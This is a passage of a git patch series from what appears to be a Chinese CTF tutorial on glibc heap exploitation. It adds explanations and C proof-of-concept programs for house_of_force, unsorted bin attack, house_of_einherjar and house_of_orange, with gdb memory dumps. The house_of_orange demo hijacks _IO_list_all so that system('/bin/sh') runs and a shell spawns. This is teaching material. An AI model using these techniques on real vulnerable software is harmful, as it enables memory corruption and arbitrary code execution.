: 0x6577207461687420 0x6f7420746e617720 +0x6010a0 : 0x6972777265766f20 0x00000000002e6574 +0x6010b0: 0x0000000000000000 0x0000000000000000 +``` + +再次 malloc,将目标地址包含进来即可,现在我们就成功控制了目标内存: +``` +gef➤ x/12gx 0x602010+0xfffffffffffff050 +0x601060: 0x4141414141414141 0x4141414141414141 +0x601070: 0x4141414141414141 0x0000000000000041 <-- chunk 2 +0x601080 : 0x2073692073696854 0x676e697274732061 <-- target +0x601090 : 0x6577207461687420 0x6f7420746e617720 +0x6010a0 : 0x6972777265766f20 0x00000000002e6574 +0x6010b0: 0x0000000000000000 0x0000000000000f69 <-- top chunk +``` #### unsorted_bin_attack +```c +#include +#include + +int main() { + unsigned long stack_var = 0; + fprintf(stderr, "The target we want to rewrite on stack: %p -> %ld\n\n", &stack_var, stack_var); + + unsigned long *p = malloc(0x80); + unsigned long *p1 = malloc(0x10); + fprintf(stderr, "Now, we allocate first small chunk on the heap at: %p\n",p); + + free(p); + fprintf(stderr, "We free the first chunk now. Its bk pointer point to %p\n", (void*)p[1]); + + p[1] = (unsigned long)(&stack_var - 2); + fprintf(stderr, "We write it with the target address-0x10: %p\n\n", (void*)p[1]); + + malloc(0x80); + fprintf(stderr, "Let's malloc again to get the chunk we just free: %p -> %p\n", &stack_var, (void*)stack_var); +} +``` +unsorted bin 攻击通常是为更进一步的攻击做准备的,我们知道 unsorted bin 是一个双向链表,在分配时会通过 unlink 操作将 chunk 从链表中移除,所以如果能够控制 unsorted bin chunk 的 bk 指针,就可以向任意位置写入一个指针。这里通过 unlink 将 libc 的信息写入到我们可控的内存中,从而导致信息泄漏,为进一步的攻击提供便利。 + +unlink 的对 unsorted bin 的操作是这样的: +```c + /* remove from unsorted list */ + unsorted_chunks (av)->bk = bck; + bck->fd = unsorted_chunks (av); +``` +其中 `bck = victim->bk`。 + +首先分配两个 chunk,然后释放掉第一个,它将被加入到 unsorted bin 中: +``` +gef➤ x/26gx 0x602010-0x10 +0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 1 [be freed] +0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer +0x602020: 0x0000000000000000 0x0000000000000000 +0x602030: 0x0000000000000000 0x0000000000000000 +0x602040: 0x0000000000000000 0x0000000000000000 +0x602050: 0x0000000000000000 0x0000000000000000 +0x602060: 0x0000000000000000 0x0000000000000000 +0x602070: 0x0000000000000000 0x0000000000000000 +0x602080: 0x0000000000000000 0x0000000000000000 +0x602090: 0x0000000000000090 0x0000000000000020 <-- chunk 2 +0x6020a0: 0x0000000000000000 0x0000000000000000 +0x6020b0: 0x0000000000000000 0x0000000000020f51 <-- top chunk +0x6020c0: 0x0000000000000000 0x0000000000000000 +gef➤ x/4gx &stack_var-2 +0x7fffffffdc50: 0x00007fffffffdd60 0x0000000000400712 +0x7fffffffdc60: 0x0000000000000000 0x0000000000602010 +gef➤ heap bins unsorted +[ Unsorted Bin for arena 'main_arena' ] +[+] unsorted_bins[0]: fw=0x602000, bk=0x602000 + → Chunk(addr=0x602010, size=0x90, flags=PREV_INUSE) +``` + +然后假设存在一个溢出漏洞,可以让我们修改 chunk 1 的数据。然后我们将 chunk 1 的 bk 指针修改为指向目标地址 - 2,也就相当于是在目标地址处有一个 fake free chunk,然后 malloc: +``` +gef➤ x/26gx 0x602010-0x10 +0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 3 +0x602010: 0x00007ffff7dd1b78 0x00007fffffffdc50 +0x602020: 0x0000000000000000 0x0000000000000000 +0x602030: 0x0000000000000000 0x0000000000000000 +0x602040: 0x0000000000000000 0x0000000000000000 +0x602050: 0x0000000000000000 0x0000000000000000 +0x602060: 0x0000000000000000 0x0000000000000000 +0x602070: 0x0000000000000000 0x0000000000000000 +0x602080: 0x0000000000000000 0x0000000000000000 +0x602090: 0x0000000000000090 0x0000000000000021 <-- chunk 2 +0x6020a0: 0x0000000000000000 0x0000000000000000 +0x6020b0: 0x0000000000000000 0x0000000000020f51 <-- top chunk +0x6020c0: 0x0000000000000000 0x0000000000000000 +gef➤ x/4gx &stack_var-2 +0x7fffffffdc50: 0x00007fffffffdc80 0x0000000000400756 <-- fake chunk +0x7fffffffdc60: 0x00007ffff7dd1b78 0x0000000000602010 <-- fd->TAIL +``` +从而泄漏了 unsorted bin 的头部地址。 #### house_of_einherjar diff --git a/src/Others/3.3.5_heap_exploit/house_of_force.c b/src/Others/3.3.5_heap_exploit/house_of_force.c new file mode 100644 index 0000000..ab6401f --- /dev/null +++ b/src/Others/3.3.5_heap_exploit/house_of_force.c @@ -0,0 +1,39 @@ +#include +#include +#include +#include +#include +#include + +char bss_var[] = "This is a string that we want to overwrite."; + +int main() { + fprintf(stderr, "We will overwrite a variable at %p\n\n", bss_var); + + intptr_t *p1 = malloc(0x10); + int real_size = malloc_usable_size(p1); + memset(p1, 'A', real_size); + fprintf(stderr, "Let's allocate the first chunk of 0x10 bytes: %p.\n", p1); + fprintf(stderr, "Real size of our allocated chunk is 0x%x.\n\n", real_size); + + intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size); + fprintf(stderr, "Overwriting the top chunk size with a big value so the malloc will never call mmap.\n"); + fprintf(stderr, "Old size of top chunk: %#llx\n", *((unsigned long long int *)ptr_top)); + ptr_top[0] = -1; + fprintf(stderr, "New size of top chunk: %#llx\n", *((unsigned long long int *)ptr_top)); + + unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*2 - (unsigned long)ptr_top; + fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size, we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size); + void *new_ptr = malloc(evil_size); + int real_size_new = malloc_usable_size(new_ptr); + memset((char *)new_ptr + real_size_new - 0x20, 'A', 0x20); + fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr); + + void* ctr_chunk = malloc(0x30); + fprintf(stderr, "malloc(0x30) => %p!\n", ctr_chunk); + fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer, so we can overwrite the value.\n"); + + fprintf(stderr, "old string: %s\n", bss_var); + strcpy(ctr_chunk, "YEAH!!!"); + fprintf(stderr, "new string: %s\n", bss_var); +} diff --git a/src/Others/3.3.5_heap_exploit/unsorted_bin_attack.c b/src/Others/3.3.5_heap_exploit/unsorted_bin_attack.c new file mode 100644 index 0000000..646ef0e --- /dev/null +++ b/src/Others/3.3.5_heap_exploit/unsorted_bin_attack.c @@ -0,0 +1,20 @@ +#include +#include + +int main() { + unsigned long stack_var = 0; + fprintf(stderr, "The target we want to rewrite on stack: %p -> %ld\n\n", &stack_var, stack_var); + + unsigned long *p = malloc(0x80); + unsigned long *p1 = malloc(0x10); + fprintf(stderr, "Now, we allocate first small chunk on the heap at: %p\n",p); + + free(p); + fprintf(stderr, "We free the first chunk now. Its bk pointer point to %p\n", (void*)p[1]); + + p[1] = (unsigned long)(&stack_var - 2); + fprintf(stderr, "We write it with the target address-0x10: %p\n\n", (void*)p[1]); + + malloc(0x80); + fprintf(stderr, "Let's malloc again to get the chunk we just free: %p -> %p\n", &stack_var, (void*)stack_var); +} From 40f2058e047d1995a17bd94e97c8a7726d992e08 Mon Sep 17 00:00:00 2001 From: firmianay Date: Mon, 15 Jan 2018 16:09:49 +0800 Subject: [PATCH 10/13] JUST FOR 200 --- CHANGELOG | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/CHANGELOG b/CHANGELOG index 4d86662..22dc824 100644 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,4 +1,5 @@ -2018-01-23:开始尝试使用Latex写作 +2018-01-15:200 次提交成就达成 +2018-01-13:开始尝试使用 Latex 写作 2017-12-25:开始写 Crypto 部分 2017-12-22:250 star 成就达成 2017-12-15:中文名“CTF从入门到放弃” From 3c7fc5adc89fed8b0eb486ea96846b2fb334b8ed Mon Sep 17 00:00:00 2001 From: firmianay Date: Tue, 16 Jan 2018 21:15:44 +0800 Subject: [PATCH 11/13] update 3.3.5 --- doc/3.3.7_heap_exploit_3.md | 153 ++++++++++++++++++ .../3.3.5_heap_exploit/house_of_einherjar.c | 54 +++++++ 2 files changed, 207 insertions(+) create mode 100644 src/Others/3.3.5_heap_exploit/house_of_einherjar.c diff --git a/doc/3.3.7_heap_exploit_3.md b/doc/3.3.7_heap_exploit_3.md index a98c999..14f8396 100644 --- a/doc/3.3.7_heap_exploit_3.md +++ b/doc/3.3.7_heap_exploit_3.md @@ -5,6 +5,7 @@ - [unsorted_bin_attack](#unsorted_bin_attack) - [house_of_einherjar](#house_of_einherjar) - [house_of_orange](#house_of_orange) +- [参考资料](#参考资料) [下载文件](../src/Others/3.3.5_heap_exploit) @@ -144,6 +145,17 @@ int main() { fprintf(stderr, "Let's malloc again to get the chunk we just free: %p -> %p\n", &stack_var, (void*)stack_var); } ``` +``` +$ gcc -g unsorted_bin_attack.c +$ ./a.out +The target we want to rewrite on stack: 0x7ffc9b1d61b0 -> 0 + +Now, we allocate first small chunk on the heap at: 0x1066010 +We free the first chunk now. Its bk pointer point to 0x7f2404cf5b78 +We write it with the target address-0x10: 0x7ffc9b1d61a0 + +Let's malloc again to get the chunk we just free: 0x7ffc9b1d61b0 -> 0x7f2404cf5b78 +``` unsorted bin 攻击通常是为更进一步的攻击做准备的,我们知道 unsorted bin 是一个双向链表,在分配时会通过 unlink 操作将 chunk 从链表中移除,所以如果能够控制 unsorted bin chunk 的 bk 指针,就可以向任意位置写入一个指针。这里通过 unlink 将 libc 的信息写入到我们可控的内存中,从而导致信息泄漏,为进一步的攻击提供便利。 unlink 的对 unsorted bin 的操作是这样的: @@ -202,5 +214,146 @@ gef➤ x/4gx &stack_var-2 从而泄漏了 unsorted bin 的头部地址。 #### house_of_einherjar +```c +#include +#include +#include +#include +#include + +int main() { + uint8_t *a, *b, *d; + + a = (uint8_t*) malloc(0x10); + int real_a_size = malloc_usable_size(a); + memset(a, 'A', real_a_size); + fprintf(stderr, "We allocate 0x10 bytes for 'a': %p\n\n", a); + + size_t fake_chunk[6]; + fake_chunk[0] = 0x80; + fake_chunk[1] = 0x80; + fake_chunk[2] = (size_t) fake_chunk; + fake_chunk[3] = (size_t) fake_chunk; + fake_chunk[4] = (size_t) fake_chunk; + fake_chunk[5] = (size_t) fake_chunk; + fprintf(stderr, "Our fake chunk at %p looks like:\n", fake_chunk); + fprintf(stderr, "prev_size: %#lx\n", fake_chunk[0]); + fprintf(stderr, "size: %#lx\n", fake_chunk[1]); + fprintf(stderr, "fwd: %#lx\n", fake_chunk[2]); + fprintf(stderr, "bck: %#lx\n", fake_chunk[3]); + fprintf(stderr, "fwd_nextsize: %#lx\n", fake_chunk[4]); + fprintf(stderr, "bck_nextsize: %#lx\n\n", fake_chunk[5]); + + b = (uint8_t*) malloc(0xf8); + int real_b_size = malloc_usable_size(b); + uint64_t* b_size_ptr = (uint64_t*)(b - 0x8); + fprintf(stderr, "We allocate 0xf8 bytes for 'b': %p\n", b); + fprintf(stderr, "b.size: %#lx\n", *b_size_ptr); + fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n"); + a[real_a_size] = 0; + fprintf(stderr, "b.size: %#lx\n\n", *b_size_ptr); + + size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk); + *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size; + fprintf(stderr, "We write a fake prev_size to the last %lu bytes of a so that it will consolidate with our fake chunk\n", sizeof(size_t)); + fprintf(stderr, "Our fake prev_size will be %p - %p = %#lx\n\n", b-sizeof(size_t)*2, fake_chunk, fake_size); + + fake_chunk[1] = fake_size; + fprintf(stderr, "Modify fake chunk's size to reflect b's new prev_size\n"); + + fprintf(stderr, "Now we free b and this will consolidate with our fake chunk\n"); + free(b); + fprintf(stderr, "Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]); + + d = malloc(0x10); + memset(d, 'A', 0x10); + fprintf(stderr, "\nNow we can call malloc() and it will begin in our fake chunk: %p\n", d); +} +``` +``` +$ gcc -g house_of_einherjar.c +$ ./a.out +We allocate 0x10 bytes for 'a': 0xb31010 + +Our fake chunk at 0x7ffdb337b7f0 looks like: +prev_size: 0x80 +size: 0x80 +fwd: 0x7ffdb337b7f0 +bck: 0x7ffdb337b7f0 +fwd_nextsize: 0x7ffdb337b7f0 +bck_nextsize: 0x7ffdb337b7f0 + +We allocate 0xf8 bytes for 'b': 0xb31030 +b.size: 0x101 +We overflow 'a' with a single null byte into the metadata of 'b' +b.size: 0x100 + +We write a fake prev_size to the last 8 bytes of a so that it will consolidate with our fake chunk +Our fake prev_size will be 0xb31020 - 0x7ffdb337b7f0 = 0xffff80024d7b5830 + +Modify fake chunk's size to reflect b's new prev_size +Now we free b and this will consolidate with our fake chunk +Our fake chunk size is now 0xffff80024d7d6811 (b.size + fake_prev_size) + +Now we can call malloc() and it will begin in our fake chunk: 0x7ffdb337b800 +``` +house-of-einherjar 是一种利用 malloc 来返回一个附近地址的任意指针。它要求有一个单字节溢出漏洞,覆盖掉 next chunk 的 size 字段并清除 `PREV_IN_USE` 标志,然后还需要覆盖 prev_size 字段为 fake chunk 的大小。当 next chunk 被释放时,它会发现前一个 chunk 被标记为空闲状态,然后尝试合并堆块。只要我们精心构造一个 fake chunk,让合并后的堆块范围到 fake chunk 处,那下一次 malloc 将返回我们想要的地址。比起前面所讲过的 poison-null-byte ,更加强大,但是要求的条件也更多一点,比如一个堆信息泄漏。 + +首先分配一个假设存在 off_by\_one 溢出的 chunk a,然后在栈上创建我们的 fake chunk,chunk 大小随意,只要是 small chunk 就可以了: +``` +gef➤ x/8gx a-0x10 +0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a +0x603010: 0x4141414141414141 0x4141414141414141 +0x603020: 0x4141414141414141 0x0000000000020fe1 <-- top chunk +0x603030: 0x0000000000000000 0x0000000000000000 +gef➤ x/8gx &fake_chunk +0x7fffffffdcb0: 0x0000000000000080 0x0000000000000080 <-- fake chunk +0x7fffffffdcc0: 0x00007fffffffdcb0 0x00007fffffffdcb0 +0x7fffffffdcd0: 0x00007fffffffdcb0 0x00007fffffffdcb0 +0x7fffffffdce0: 0x00007fffffffddd0 0xffa7b97358729300 +``` + +接下来创建 chunk b,并利用 chunk a 的溢出将 size 字段覆盖掉,清除了 `PREV_INUSE` 标志,chunk b 就会以为前一个 chunk 是一个 free chunk 了: +``` +gef➤ x/8gx a-0x10 +0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a +0x603010: 0x4141414141414141 0x4141414141414141 +0x603020: 0x4141414141414141 0x0000000000000100 <-- chunk b +0x603030: 0x0000000000000000 0x0000000000000000 +``` +原本 chunk b 的 size 字段应该为 0x101,在这里我们选择 malloc(0xf8) 作为 chunk b 也是出于方便的目的,覆盖后只影响了标志位,没有影响到大小。 + +接下来根据 fake chunk 在栈上的位置修改 chunk b 的 prev_size 字段。计算方法是用 chunk b 的起始地址减去 fake chunk 的起始地址,同时为了绕过检查,还需要将 fake chunk 的 size 字段与 chunk b 的 prev\_size 字段相匹配: +``` +gef➤ x/8gx a-0x10 +0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a +0x603010: 0x4141414141414141 0x4141414141414141 +0x603020: 0xffff800000605370 0x0000000000000100 <-- chunk b <-- prev_size +0x603030: 0x0000000000000000 0x0000000000000000 +gef➤ x/8gx &fake_chunk +0x7fffffffdcb0: 0x0000000000000080 0xffff800000605370 <-- fake chunk <-- size +0x7fffffffdcc0: 0x00007fffffffdcb0 0x00007fffffffdcb0 +0x7fffffffdcd0: 0x00007fffffffdcb0 0x00007fffffffdcb0 +0x7fffffffdce0: 0x00007fffffffddd0 0xadeb3936608e0600 +``` + +释放 chunk b,这时因为 `PREV_INUSE` 为零,unlink 会根据 prev_size 去寻找上一个 free chunk,并将它和当前 chunk 合并。从 arena 里可以看到: +``` +gef➤ heap arenas +Arena (base=0x7ffff7dd1b20, top=0x7fffffffdcb0, last_remainder=0x0, next=0x7ffff7dd1b20, next_free=0x0, system_mem=0x21000) +``` +合并的过程在 poison-null-byte 那里也讲过了。 + +最后当我们再次 malloc,其返回的地址将是 fake chunk 的地址: +``` +gef➤ x/8gx &fake_chunk +0x7fffffffdcb0: 0x0000000000000080 0x0000000000000021 <-- chunk d +0x7fffffffdcc0: 0x4141414141414141 0x4141414141414141 +0x7fffffffdcd0: 0x00007fffffffdcb0 0xffff800000626331 +0x7fffffffdce0: 0x00007fffffffddd0 0xbdf40e22ccf46c00 +``` #### house_of_orange + + +## 参考资料 diff --git a/src/Others/3.3.5_heap_exploit/house_of_einherjar.c b/src/Others/3.3.5_heap_exploit/house_of_einherjar.c new file mode 100644 index 0000000..ac45f9b --- /dev/null +++ b/src/Others/3.3.5_heap_exploit/house_of_einherjar.c @@ -0,0 +1,54 @@ +#include +#include +#include +#include +#include + +int main() { + uint8_t *a, *b, *d; + + a = (uint8_t*) malloc(0x10); + int real_a_size = malloc_usable_size(a); + memset(a, 'A', real_a_size); + fprintf(stderr, "We allocate 0x10 bytes for 'a': %p\n\n", a); + + size_t fake_chunk[6]; + fake_chunk[0] = 0x80; + fake_chunk[1] = 0x80; + fake_chunk[2] = (size_t) fake_chunk; + fake_chunk[3] = (size_t) fake_chunk; + fake_chunk[4] = (size_t) fake_chunk; + fake_chunk[5] = (size_t) fake_chunk; + fprintf(stderr, "Our fake chunk at %p looks like:\n", fake_chunk); + fprintf(stderr, "prev_size: %#lx\n", fake_chunk[0]); + fprintf(stderr, "size: %#lx\n", fake_chunk[1]); + fprintf(stderr, "fwd: %#lx\n", fake_chunk[2]); + fprintf(stderr, "bck: %#lx\n", fake_chunk[3]); + fprintf(stderr, "fwd_nextsize: %#lx\n", fake_chunk[4]); + fprintf(stderr, "bck_nextsize: %#lx\n\n", fake_chunk[5]); + + b = (uint8_t*) malloc(0xf8); + int real_b_size = malloc_usable_size(b); + uint64_t* b_size_ptr = (uint64_t*)(b - 0x8); + fprintf(stderr, "We allocate 0xf8 bytes for 'b': %p\n", b); + fprintf(stderr, "b.size: %#lx\n", *b_size_ptr); + fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n"); + a[real_a_size] = 0; + fprintf(stderr, "b.size: %#lx\n\n", *b_size_ptr); + + size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk); + *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size; + fprintf(stderr, "We write a fake prev_size to the last %lu bytes of a so that it will consolidate with our fake chunk\n", sizeof(size_t)); + fprintf(stderr, "Our fake prev_size will be %p - %p = %#lx\n\n", b-sizeof(size_t)*2, fake_chunk, fake_size); + + fake_chunk[1] = fake_size; + fprintf(stderr, "Modify fake chunk's size to reflect b's new prev_size\n"); + + fprintf(stderr, "Now we free b and this will consolidate with our fake chunk\n"); + free(b); + fprintf(stderr, "Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]); + + d = malloc(0x10); + memset(d, 'A', 0x10); + fprintf(stderr, "\nNow we can call malloc() and it will begin in our fake chunk: %p\n", d); +} From 257320bb6855f5d9d4fd6e160dc0de6b51dee2fd Mon Sep 17 00:00:00 2001 From: firmianay Date: Sun, 21 Jan 2018 21:57:25 +0800 Subject: [PATCH 12/13] finish 3.3.7 --- doc/3.3.7_heap_exploit_3.md | 530 ++++++++++++++++++ .../3.3.5_heap_exploit/house_of_orange.c | 40 ++ 2 files changed, 570 insertions(+) create mode 100644 src/Others/3.3.5_heap_exploit/house_of_orange.c diff --git a/doc/3.3.7_heap_exploit_3.md b/doc/3.3.7_heap_exploit_3.md index 14f8396..80f689b 100644 --- a/doc/3.3.7_heap_exploit_3.md +++ b/doc/3.3.7_heap_exploit_3.md @@ -354,6 +354,536 @@ gef➤ x/8gx &fake_chunk ``` #### house_of_orange +```c +#include +#include +#include + +int winner (char *ptr); + +int main() { + char *p1, *p2; + size_t io_list_all, *top; + + p1 = malloc(0x400 - 0x10); + + top = (size_t *) ((char *) p1 + 0x400 - 0x10); + top[1] = 0xc01; + + p2 = malloc(0x1000); + io_list_all = top[2] + 0x9a8; + top[3] = io_list_all - 0x10; + + memcpy((char *) top, "/bin/sh\x00", 8); + + top[1] = 0x61; + + _IO_FILE *fp = (_IO_FILE *) top; + fp->_mode = 0; // top+0xc0 + fp->_IO_write_base = (char *) 2; // top+0x20 + fp->_IO_write_ptr = (char *) 3; // top+0x28 + + size_t *jump_table = &top[12]; // controlled memory + jump_table[3] = (size_t) &winner; + *(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8 + + malloc(1); + return 0; +} + +int winner(char *ptr) { + system(ptr); + return 0; +} +``` +``` +$ gcc -g house_of_orange.c +$ ./a.out +*** Error in `./a.out': malloc(): memory corruption: 0x00007f3daece3520 *** +======= Backtrace: ========= +/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f3dae9957e5] +/lib/x86_64-linux-gnu/libc.so.6(+0x8213e)[0x7f3dae9a013e] +/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7f3dae9a2184] +./a.out[0x4006cc] +/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f3dae93e830] +./a.out[0x400509] +======= Memory map: ======== +00400000-00401000 r-xp 00000000 08:01 919342 /home/firmy/how2heap/a.out +00600000-00601000 r--p 00000000 08:01 919342 /home/firmy/how2heap/a.out +00601000-00602000 rw-p 00001000 08:01 919342 /home/firmy/how2heap/a.out +01e81000-01ec4000 rw-p 00000000 00:00 0 [heap] +7f3da8000000-7f3da8021000 rw-p 00000000 00:00 0 +7f3da8021000-7f3dac000000 ---p 00000000 00:00 0 +7f3dae708000-7f3dae71e000 r-xp 00000000 08:01 398989 /lib/x86_64-linux-gnu/libgcc_s.so.1 +7f3dae71e000-7f3dae91d000 ---p 00016000 08:01 398989 /lib/x86_64-linux-gnu/libgcc_s.so.1 +7f3dae91d000-7f3dae91e000 rw-p 00015000 08:01 398989 /lib/x86_64-linux-gnu/libgcc_s.so.1 +7f3dae91e000-7f3daeade000 r-xp 00000000 08:01 436912 /lib/x86_64-linux-gnu/libc-2.23.so +7f3daeade000-7f3daecde000 ---p 001c0000 08:01 436912 /lib/x86_64-linux-gnu/libc-2.23.so +7f3daecde000-7f3daece2000 r--p 001c0000 08:01 436912 /lib/x86_64-linux-gnu/libc-2.23.so +7f3daece2000-7f3daece4000 rw-p 001c4000 08:01 436912 /lib/x86_64-linux-gnu/libc-2.23.so +7f3daece4000-7f3daece8000 rw-p 00000000 00:00 0 +7f3daece8000-7f3daed0e000 r-xp 00000000 08:01 436908 /lib/x86_64-linux-gnu/ld-2.23.so +7f3daeef4000-7f3daeef7000 rw-p 00000000 00:00 0 +7f3daef0c000-7f3daef0d000 rw-p 00000000 00:00 0 +7f3daef0d000-7f3daef0e000 r--p 00025000 08:01 436908 /lib/x86_64-linux-gnu/ld-2.23.so +7f3daef0e000-7f3daef0f000 rw-p 00026000 08:01 436908 /lib/x86_64-linux-gnu/ld-2.23.so +7f3daef0f000-7f3daef10000 rw-p 00000000 00:00 0 +7ffe8eba6000-7ffe8ebc7000 rw-p 00000000 00:00 0 [stack] +7ffe8ebee000-7ffe8ebf1000 r--p 00000000 00:00 0 [vvar] +7ffe8ebf1000-7ffe8ebf3000 r-xp 00000000 00:00 0 [vdso] +ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] +$ whoami +firmy +$ exit +Aborted (core dumped) +``` +house-of-orange 是一种利用堆溢出修改 `_IO_list_all` 指针的利用方法。它要求能够泄漏堆和 libc。我们知道一开始的时候,整个堆都属于 top chunk,每次申请内存时,就从 top chunk 中划出请求大小的堆块返回给用户,于是 top chunk 就越来越小。 + +当某一次 top chunk 的剩余大小已经不能够满足请求时,就会调用函数 `sysmalloc()` 分配新内存,这时可能会发生两种情况,一种是直接扩充 top chunk,另一种是调用 mmap 分配一块新的 top chunk。具体调用哪一种方法是由申请大小决定的,为了能够使用前一种扩展 top chunk,需要请求小于阀值 `mp_.mmap_threshold`: +```c + if (av == NULL + || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) + && (mp_.n_mmaps < mp_.n_mmaps_max))) + { +``` +同时,为了能够调用 `sysmalloc()` 中的 `_int_free()`,需要 top chunk 大于 `MINSIZE`,即 0x10: +```c + if (old_size >= MINSIZE) + { + _int_free (av, old_top, 1); + } +``` +当然,还得绕过下面两个限制条件: +```c + /* + If not the first time through, we require old_size to be + at least MINSIZE and to have prev_inuse set. + */ + + assert ((old_top == initial_top (av) && old_size == 0) || + ((unsigned long) (old_size) >= MINSIZE && + prev_inuse (old_top) && + ((unsigned long) old_end & (pagesize - 1)) == 0)); + + /* Precondition: not enough current space to satisfy nb request */ + assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE)); +``` +即满足 old_size 小于 `nb+MINSIZE`,`PREV_INUSE` 标志位为 1,`old_top+old_size` 页对齐这几个条件。 + +首先分配一个大小为 0x400 的 chunk: +``` +gef➤ x/4gx p1-0x10 +0x602000: 0x0000000000000000 0x0000000000000401 <-- chunk p1 +0x602010: 0x0000000000000000 0x0000000000000000 +gef➤ x/4gx p1-0x10+0x400 +0x602400: 0x0000000000000000 0x0000000000020c01 <-- top chunk +0x602410: 0x0000000000000000 0x0000000000000000 +``` +默认情况下,top chunk 大小为 0x21000,减去 0x400,所以此时的大小为 0x20c00,另外 PREV_INUSE 被设置。 + +现在假设存在溢出漏洞,可以修改 top chunk 的数据,于是我们将 size 字段修改为 0xc01。这样就可以满足上面所说的条件: +``` +gef➤ x/4gx p1-0x10+0x400 +0x602400: 0x0000000000000000 0x0000000000000c01 <-- top chunk +0x602410: 0x0000000000000000 0x0000000000000000 +``` + +紧接着,申请一块大内存,此时由于修改后的 top chunk size 不能满足需求,则调用 sysmalloc 的第一种方法扩充 top chunk,结果是在 old\_top 后面新建了一个 top chunk 用来存放 new\_top,然后将 old\_top 释放,即被添加到了 unsorted bin 中: +``` +gef➤ x/4gx p1-0x10+0x400 +0x602400: 0x0000000000000000 0x0000000000000be1 <-- old top chunk [be freed] +0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer +gef➤ x/4gx p1-0x10+0x400+0xbe0 +0x602fe0: 0x0000000000000be0 0x0000000000000010 <-- fencepost chunk 1 +0x602ff0: 0x0000000000000000 0x0000000000000011 <-- fencepost chunk 2 +gef➤ x/4gx p2-0x10 +0x623000: 0x0000000000000000 0x0000000000001011 <-- chunk p2 +0x623010: 0x0000000000000000 0x0000000000000000 +gef➤ x/4gx p2-0x10+0x1010 +0x624010: 0x0000000000000000 0x0000000000020ff1 <-- new top chunk +0x624020: 0x0000000000000000 0x0000000000000000 +gef➤ heap bins unsorted +[ Unsorted Bin for arena 'main_arena' ] +[+] unsorted_bins[0]: fw=0x602400, bk=0x602400 + → Chunk(addr=0x602410, size=0xbe0, flags=PREV_INUSE) +``` +于是就泄漏出了 libc 地址。另外可以看到 old top chunk 被缩小了 0x20,缩小的空间被用于放置 fencepost chunk。此时的堆空间应该是这样的: +``` ++---------------+ +| p1 | ++---------------+ +| old top-0x20 | ++---------------+ +| fencepost 1 | ++---------------+ +| fencepost 2 | ++---------------+ +| ... | ++---------------+ +| p2 | ++---------------+ +| new top | ++---------------+ +``` +详细过程如下: +```c + if (old_size != 0) + { + /* + Shrink old_top to insert fenceposts, keeping size a + multiple of MALLOC_ALIGNMENT. We know there is at least + enough space in old_top to do this. + */ + old_size = (old_size - 4 * SIZE_SZ) & ~MALLOC_ALIGN_MASK; + set_head (old_top, old_size | PREV_INUSE); + + /* + Note that the following assignments completely overwrite + old_top when old_size was previously MINSIZE. This is + intentional. We need the fencepost, even if old_top otherwise gets + lost. + */ + chunk_at_offset (old_top, old_size)->size = + (2 * SIZE_SZ) | PREV_INUSE; + + chunk_at_offset (old_top, old_size + 2 * SIZE_SZ)->size = + (2 * SIZE_SZ) | PREV_INUSE; + + /* If possible, release the rest. */ + if (old_size >= MINSIZE) + { + _int_free (av, old_top, 1); + } + } +``` + +根据放入 unsorted bin 中 old top chunk 的 fd/bk 指针,可以推算出 `_IO_list_all` 的地址。然后通过溢出将 old top 的 bk 改写为 `_IO_list_all-0x10`,这样在进行 unsorted bin attack 时,就会将 `_IO_list_all` 修改为 `&unsorted_bin-0x10`: +``` +gef➤ x/4gx p1-0x10+0x400 +0x602400: 0x0000000000000000 0x0000000000000be1 +0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd2510 +``` +这里讲一下 glibc 中的异常处理。一般在出现内存错误时,会调用函数 `malloc_printerr()` 打印出错信息,我们顺着代码一直跟踪下去: +```c +static void +malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr) +{ + [...] + if ((action & 5) == 5) + __libc_message (action & 2, "%s\n", str); + else if (action & 1) + { + char buf[2 * sizeof (uintptr_t) + 1]; + + buf[sizeof (buf) - 1] = '\0'; + char *cp = _itoa_word ((uintptr_t) ptr, &buf[sizeof (buf) - 1], 16, 0); + while (cp > buf) + *--cp = '0'; + + __libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n", + __libc_argv[0] ? : "", str, cp); + } + else if (action & 2) + abort (); +} +``` +调用 `__libc_message`: +```c +// sysdeps/posix/libc_fatal.c +/* Abort with an error message. */ +void +__libc_message (int do_abort, const char *fmt, ...) +{ + [...] + if (do_abort) + { + BEFORE_ABORT (do_abort, written, fd); + + /* Kill the application. */ + abort (); + } +} +``` +`do_abort` 调用 `fflush`,即 `_IO_flush_all_lockp`: +```c +// stdlib/abort.c +#define fflush(s) _IO_flush_all_lockp (0) + + if (stage 